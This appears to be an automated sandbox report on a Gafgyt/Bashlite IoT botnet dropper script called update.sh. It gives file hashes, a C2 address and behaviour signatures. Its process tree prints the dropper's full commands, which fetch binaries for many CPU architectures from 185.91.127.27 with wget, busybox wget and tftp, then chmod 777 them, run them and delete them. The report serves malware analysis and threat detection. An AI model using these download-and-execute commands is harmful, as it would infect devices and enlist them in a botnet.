Analysis

  • max time kernel
    105s
  • max time network
    106s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06-12-2024 13:21

General

  • Target

    update.sh

  • Size

    3KB

  • MD5

    bd60ce22343af79a495628041c27c3a0

  • SHA1

    a7510aabe4465db8de01ca2bc535003eddea0d37

  • SHA256

    8c27365e971954012e6a2543904fbbcea00241a369fd37f1dca5143e9f8c4d0e

  • SHA512

    1f5016541e9654176198e0e926fec6e51095697faec6397c69f05bbb5438ab5b3edcddcbfcbb4acaa44347396dd4f9b0a31577cfb1ca5240f95fc80e546d700b

Malware Config

Extracted

Family

gafgyt

C2

185.91.127.27:87

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/update.sh
    /tmp/update.sh
    1⤵
      PID:657
      • /usr/bin/wget
        wget http://185.91.127.27/roze.mips -O roze.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:659
      • /bin/busybox
        busybox wget http://185.91.127.27/roze.mips -O roze.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:678
      • /bin/busybox
        busybox tftp -r roze.mips -g 185.91.127.27
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:685
      • /bin/chmod
        chmod 777 roze.mips
        2⤵
        • File and Directory Permissions Modification
        PID:746
      • /tmp/roze.mips
        ./roze.mips
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:748
      • /bin/rm
        rm -rf roze.mips
        2⤵
        • System Network Configuration Discovery
        PID:749
      • /usr/bin/wget
        wget http://185.91.127.27/roze.mipsel -O roze.mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:750
      • /bin/busybox
        busybox wget http://185.91.127.27/roze.mipsel -O roze.mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:759
      • /bin/busybox
        busybox tftp -r roze.mipsel -g 185.91.127.27
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:764
      • /bin/chmod
        chmod 777 roze.mipsel
        2⤵
        • File and Directory Permissions Modification
        PID:778
      • /tmp/roze.mipsel
        ./roze.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:779
      • /bin/rm
        rm -rf roze.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:780
      • /usr/bin/wget
        wget http://185.91.127.27/roze.sh4 -O roze.sh4
        2⤵
        • Writes file to tmp directory
        PID:781
      • /bin/busybox
        busybox wget http://185.91.127.27/roze.sh4 -O roze.sh4
        2⤵
        • Writes file to tmp directory
        PID:782
      • /bin/busybox
        busybox tftp -r roze.sh4 -g 185.91.127.27
        2⤵
        • Writes file to tmp directory
        PID:783
      • /bin/chmod
        chmod 777 roze.sh4
        2⤵
        • File and Directory Permissions Modification
        PID:786
      • /tmp/roze.sh4
        ./roze.sh4
        2⤵
          PID:787
        • /bin/rm
          rm -rf roze.sh4
          2⤵
            PID:788
          • /usr/bin/wget
            wget http://185.91.127.27/roze.x86 -O roze.x86
            2⤵
            • Writes file to tmp directory
            PID:789
          • /bin/busybox
            busybox wget http://185.91.127.27/roze.x86 -O roze.x86
            2⤵
            • Writes file to tmp directory
            PID:790
          • /bin/busybox
            busybox tftp -r roze.x86 -g 185.91.127.27
            2⤵
            • Writes file to tmp directory
            PID:791
          • /bin/chmod
            chmod 777 roze.x86
            2⤵
            • File and Directory Permissions Modification
            PID:794
          • /tmp/roze.x86
            ./roze.x86
            2⤵
              PID:795
            • /bin/rm
              rm -rf roze.x86
              2⤵
                PID:796
              • /usr/bin/wget
                wget http://185.91.127.27/roze.armv6 -O roze.armv6
                2⤵
                • Writes file to tmp directory
                PID:797
              • /bin/busybox
                busybox wget http://185.91.127.27/roze.armv6 -O roze.armv6
                2⤵
                • Writes file to tmp directory
                PID:800
              • /bin/busybox
                busybox tftp -r roze.armv6 -g 185.91.127.27
                2⤵
                • Writes file to tmp directory
                PID:801
              • /bin/chmod
                chmod 777 roze.armv6
                2⤵
                • File and Directory Permissions Modification
                PID:804
              • /tmp/roze.armv6
                ./roze.armv6
                2⤵
                  PID:805
                • /bin/rm
                  rm -rf roze.armv6
                  2⤵
                    PID:806
                  • /usr/bin/wget
                    wget http://185.91.127.27/roze.armv7 -O roze.armv7
                    2⤵
                    • Writes file to tmp directory
                    PID:807
                  • /bin/busybox
                    busybox wget http://185.91.127.27/roze.armv7 -O roze.armv7
                    2⤵
                      PID:808
                    • /bin/busybox
                      busybox tftp -r roze.armv7 -g 185.91.127.27
                      2⤵
                      • Writes file to tmp directory
                      PID:809
                    • /bin/chmod
                      chmod 777 roze.armv7
                      2⤵
                      • File and Directory Permissions Modification
                      PID:812
                    • /tmp/roze.armv7
                      ./roze.armv7
                      2⤵
                        PID:813
                      • /bin/rm
                        rm -rf roze.armv7
                        2⤵
                          PID:814
                        • /usr/bin/wget
                          wget http://185.91.127.27/roze.i686 -O roze.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:815
                        • /bin/busybox
                          busybox wget http://185.91.127.27/roze.i686 -O roze.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:816
                        • /bin/busybox
                          busybox tftp -r roze.i686 -g 185.91.127.27
                          2⤵
                          • Writes file to tmp directory
                          PID:817
                        • /bin/chmod
                          chmod 777 roze.i686
                          2⤵
                          • File and Directory Permissions Modification
                          PID:823
                        • /tmp/roze.i686
                          ./roze.i686
                          2⤵
                            PID:824
                          • /bin/rm
                            rm -rf roze.i686
                            2⤵
                              PID:825
                            • /usr/bin/wget
                              wget http://185.91.127.27/roze.ppc -O roze.ppc
                              2⤵
                                PID:826

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/roze.mips

                              Filesize

                              209KB

                              MD5

                              97d9d4346609a36db70c4732d53f530a

                              SHA1

                              a9beb573471c7a6d83dc70fa331233446f49556c

                              SHA256

                              79164326a7940f25869476593db103dfd144e7155d7f005e3f51d4f5472df840

                              SHA512

                              160deab9e2ebf460fbf264b71737a5dc509c03a61e1b75324582b6644eb3f9dec2b83ff9add8ae5ccec83910c04f1a1b4b93d22ba6c1d46d54f6d82623a1c73c